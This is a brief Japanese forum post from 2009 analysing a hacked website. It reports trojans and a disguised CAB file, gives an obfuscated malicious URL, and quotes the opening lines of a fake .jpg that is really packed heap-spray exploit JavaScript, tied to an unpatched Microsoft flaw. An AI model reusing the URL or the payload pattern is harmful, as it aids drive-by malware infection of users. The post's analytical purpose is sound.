09/07/08 18:33:30 0
563 名前：Name_Not_Found[sage] 投稿日：2009/07/08(水) 18:31:04 ID:???
改ざん？されたらしいほうのところを調査
gifトロイやらなんやら一杯はいってるね。自己解凍cabが偽装されてたりするし
でも大体は最新にアップデートしてればおｋかな
でも、一番の問題は、これかな
http:／／１８５６３１７７９９：８８８／ｄｉｒ２／ｇｏ．ｊｐｇ
一見拡張子からjpgファイルっぽいけど、
> more go.jpg
var appllaa='0';
var nndx='%'+'u9'+'0'+'9'+'0'+'%u'+'9'+'0'+'9'+appllaa;
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e
以下長いので略
まぁ、スクリプトが偽装してある、これがまだ回避策のみでパッチがででてない虚弱性
972890
URLﾘﾝｸ(www.microsoft.com)
なのかな